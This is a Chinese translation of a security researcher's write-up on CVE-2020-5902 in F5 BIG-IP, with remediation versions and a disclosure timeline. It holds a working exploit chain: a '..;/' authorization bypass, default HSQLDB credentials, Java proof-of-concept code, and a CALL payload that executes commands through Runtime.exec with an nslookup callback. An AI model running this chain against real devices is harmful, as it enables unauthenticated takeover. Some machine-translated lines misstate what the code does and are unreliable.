细分:我们如何在F5 Big-IP应用交付控制器中发现RCE漏洞





F5的BIG-IP是一种流行的应用程序交付控制器,已被世界上最大的公司使用。在对该产品进行安全分析期间,我们能够找到危险的漏洞CVE-2020-5902。该安全漏洞使攻击者可以代表未授权用户执行命令,并完全破坏系统,例如拦截由控制器控制的Web资源的流量。



根据我们的数据,到2020年6月,有可能从Internet访问包含CVE-2020-5902漏洞的8000台设备。它的详细分析在我们的新文章中。



问题是什么



F5的BIG-IP是一种流行的应用程序交付控制器,已被世界上最大的公司使用。漏洞CVE-2020-5902在CVSS等级上被评为10-最高严重等级。



该漏洞可能允许包括未经身份验证的攻击者在内的远程攻击者访问BIG-IP配置实用程序,以执行软件中的任意代码(远程代码执行,RCE)。结果,攻击者将能够在例如内部网络段上创建或删除文件,禁用服务,拦截信息,执行任意系统命令和任意Java代码,完全破坏系统并发起攻击。



多个系统组件中的安全漏洞(例如,目录越界)的综合导致RCE。其中F5 BIG-IP Web界面可以在特殊的搜索引擎,如初段找到公司,特别危险,但应注意的是,所需要的接口不是由所有用户公司的全球网络进行访问。



期间监测的实际威胁(威胁情报),我们发现,到2020年6月底,全世界有超过8000种可从互联网访问的易受攻击的设备,其中40%在美国,16%在中国,3%在台湾,每个2.5%。在加拿大和印度尼西亚。在俄罗斯,不到1%的易受攻击设备被检测到。



现在让我们继续讲述如何设法找到CVE-2020-5902。



寻找Web服务器配置错误



让我们将F5 Big-IP安装到我们的虚拟机上,并访问其命令外壳:







F5 Big-IP命令行界面



开始研究的第一件事是查看所有打开的端口以及正在使用哪些端口的应用程序。这将标识系统的所有可能的入口点。为此,我们使用netstat命令:











我喜欢分析Web应用程序的设备上查找开放端口,因此,让我们开始分析监听端口443 / tcp的httpd服务器的配置。



配置中最有趣的文件是“ /etc/httpd/conf.d/proxy_ajp.conf”:



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


文件的内容/etc/httpd/conf.d/proxy_ajp.conf



此文件配置Apache,以便它通过AJP协议在本地端口8009 / tcp上将请求传输到Apache Tomcat,但前提是这些请求匹配一个从给定的正则表达式。







查找侦听端口8009 / tcp的应用程序在



这里,重要的是要参考Orange Tsai对如何使链接服务器以不同方式处理URL的研究。特别是,对于我们的Apache HTTP Server和Apache Tomcat捆绑包,您可以测试字符“ ..; /”的顺序:







Orange Tsai演示幻灯片



根据这项研究,Apache HTTP Server会将序列解析为有效的文件夹名称,而Apache Tomcat会认为此组合表示向先前目录的过渡。



要了解此方法是否有效,您需要获取配置文件中隐藏的Tomcat端点之一的路径:




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


配置文件/usr/local/www/tmui/WEB-INF/web.xml



片段/tiles/tmui/em_filter.jsp路径不应与proxy_ajp.conf文件中的正则表达式匹配,因此我们进行测试:







测试Orange Tsai技术



正常请求返回404代码,使用Orange Tsai技术的请求返回200代码,因此,我们现在可以访问正在调查的设备的内部Apache Tomcat服务器上的任何页面。



查找易受攻击的Tomcat端点



让我们检查Apache Tomcat服务器配置,并尝试在其中找到易受攻击的端点。



我们之前使用了/ti​​les/tmui/em_filter.jsp路径,但现在让我们尝试找到更有用的东西:


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


文件/usr/local/www/tmui/WEB-INF/web.xml的片段



我的注意力吸引到了路径“ / hsqldb /”,该路径由org.hsqldb.Servlet类处理。首字母缩写词HSQLDB代表Hyper SQL Database,其路径/ hsqldb /负责提供对数据库本身的访问。



让我们







检查一下我们的技术是否可用于访问此路径:检查HSQLDB的可用性



因此,我们能够绕过授权并获得对HSQLDB的访问。 HSQLDB官方网站提供了有关如何通过HTTP连接到数据库指南,并且说可以使用特殊的Java驱动程序通过HTTP连接到数据库。要进行连接,您需要知道数据库的登录名和密码。



让我们使用称为“ Google搜索”的“黄金技术”并找到HSQLDB的默认用户名和密码:







Google在搜索页面上向您显示默认的用户名和密码。



现在,用Java编写概念验证来测试我们对HSQLDB驱动程序的假设可以使用以下默认登录数据:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


用于连接到HSQLDB并请求HSQLDB用户列表的







PoC代码执行给定PoC代码



结果该代码已执行并从表中删除了第一个用户,这意味着现在我们可以在F5 Big- IP。



探索HSQLDB端点



我花了一些时间在HSQLDB文档中,并选择了CALL语句-它可用于执行存储过程,包括HSQLDB类路径中的任何Java静态方法。



让我们从HSQLDB获取类路径:



请求:CALL“ java.lang.System.getProperty”('java.class.path')

响应:“ /usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli。 jar:/ usr / local / www / tmui / WEB-INF / classs


这是与Apache Tomcat服务器完全相同的类路径。



现在我们需要找到任何允许远程执行代码的静态方法。在com.f5.view.web.pagedefinition.shuffler.Scripting类中的tmui.jar文件中进行了短暂搜索之后,找到了setRequestContext方法:



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


尝试使用任意数据调用此方法:



请求:CALL“ com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext”('aa','bb')

响应:“ NameError:aa__bb”,


我们看到我们进入了Python代码执行的上下文,并传递了错误的数据。



我们尝试导入“ os”模块并调用系统函数:



请求:CALL“ com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext”('__ import __(“ os”)。System()#','#11')

回复:“ ImportError:没有名为javaos的模块”


Google错误,发现这是Jython语言的典型行为。



我们尝试以其他方式执行命令:



请求:CALL“ com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext”('Runtime.getRuntime()。Exec(“ ls”)#','#')

回复:null




我们从该请求中得到了null,它告诉我们命令已成功执行。现在,让我们整理一下最终的PoC代码,如果服务器易受攻击,它将发送dns请求:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


我们将使用反向外壳命令在F5 Big-IP中获得RCE:







通过发现的漏洞链访问F5 Big-IP



概要



我们通过三个简单的步骤从未经授权的用户那里获得了RCE:



  1. 在Apache HTTP服务器和Apache Tomcat配置中发现错误
  2. 使用HSQLDB的默认密码
  3. F5 Big-IP库代码中使用的非显而易见的静态方法


如何保护自己



要修复此漏洞,您必须将系统更新到最新版本:易受攻击的BIG-IP版本(11.6.x,12.1.x,13.1.x,14.1.x,15.0.x,15.1.x)应替换为已修复漏洞的版本( BIG-IP 11.6.5.2、12.1.5.2、13.1.3.4、14.1.2.6、15.1.0.4)。对于公共云市场(AWS,Azure,GCP和阿里巴巴)的用户,您必须使用BIG-IP虚拟版(VE)11.6.5.2、12.1.5.2、13.1.3.4、14.1.2.6或15.1.0.4,前提是它们可用于这些市场。F5 BIG-IP注意事项中提供了进一步的指导



作者积极技术Mikhail Klyuchnikov(@ __mn1__



时间线:



  • 2020年4月1日-漏洞已提交给F5 Networks
  • 2020年4月3日-F5团队能够重现漏洞
  • 1 July, 2020 — Security Advisory



All Articles